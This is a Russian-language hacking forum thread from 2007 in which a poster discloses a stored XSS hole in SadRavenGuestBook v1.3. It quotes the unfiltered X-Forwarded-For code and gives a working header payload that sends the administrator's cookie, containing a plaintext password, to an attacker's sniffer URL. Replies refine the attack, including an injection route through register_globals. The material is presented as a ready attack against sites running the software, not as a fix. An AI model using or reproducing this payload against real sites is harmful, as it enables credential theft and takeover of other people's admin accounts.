active XSS SadRavenGuestBook v1.3

Запомнить меня

Нет аккаунта? Регистрация

active XSS SadRavenGuestBook v1.3

01.03.2007, 20:24

Talisman

Постоянный

Регистрация: 22.04.2006

Сообщений: 566

С нами: 10554411

Репутация: 517

active XSS SadRavenGuestBook v1.3

Недавно ред саратов писал об дырке в этой же буке связанной с файлом пароля, где он хранится в зашифрованном виде, в версии 1.3 эту багу пофиксили, но пароль в куках хранят в открытом виде, значит нам нужна иксс атака)
ошибка заключается в отсутствии фильтрации поля: TTP_X_FORWARDED_FOR
в 103-107 строчках файла index.php

PHP код:


		
			
if(empty($ip)):

        if (getenv('HTTP_X_FORWARDED_FOR')) { $ip=getenv('HTTP_X_FORWARDED_FOR'); }

        else { $ip=getenv('REMOTE_ADDR');}

endif;

мы же можем изменить это поле как угодно! например юзая Mozilla Firefox и плагин ModifyHeaders.
меняем поле TTP_X_FORWARDED_FOR на:

Код HTML:

67.22.83.13><script>img = new Image();img.src = "http://test1.ru/s.php?out="+document.cookie;</script><!-- XSS --

где айпи - отображаемый админу (фальшивый) ну а http://test1.ru/s.php - адрес нашего снифера.
теперь, запостив мессагу с таким TTP_X_FORWARDED_FOR, будем ждать, пока админ не зайдет в админку, и нам на снифер не утекут его куки с ОТКРЫТЫМ(!) паролем.

Следуя пословице лучше 1 раз увидеть, чем 100 раз услышать, ну или 10 раз прочитать, качаем видео (800кб):
http://slil.ru/24013333
В архиве с видео лежит код снифера и более подробный анализ баги.
ЗЫ: плиз, поместите видео на video.antichat.ru

))
ЗЫЫ: помоему это статья, т.к. есть анализ дырки, а не просто соль) но если модеры так не считают, перенесите плиз в более подходящий раздел.

𝕏 Twitter Reddit Telegram Копировать ссылку

02.03.2007, 06:23

Retscan

Познающий

Регистрация: 17.12.2006

Сообщений: 32

С нами: 10210061

Репутация: 31

Неплохо. Как-то давно искал баги в этой госте, не нашел ничего. Но то, что пасс в открытом виде хранится - просто глупость автора.

02.04.2007, 17:30

Talisman

Постоянный

Регистрация: 22.04.2006

Сообщений: 566

С нами: 10554411

Репутация: 517

по просьбе с аськи перезалил видео: http://slil.ru/24172858

02.04.2007, 23:16

p-range

Участник форума

Регистрация: 05.02.2006

Сообщений: 168

С нами: 10663526

Репутация: 715

Цитата:

TTP_X_FORWARDED_FOR

думаю стоит заменить на HTTP_X_FORWARDED_FOR

03.04.2007, 00:05

Stefun

Познающий

Регистрация: 19.11.2006

Сообщений: 60

С нами: 10250696

Репутация: 63

А легче просто вместо того чтобы заголовки изменять просто добавить еще одну post или get переменную $ip, если register_globals включены.
Тогда получится что-то вроде этого:
guest

Последний раз редактировалось Stefun; 03.04.2007 в 00:12..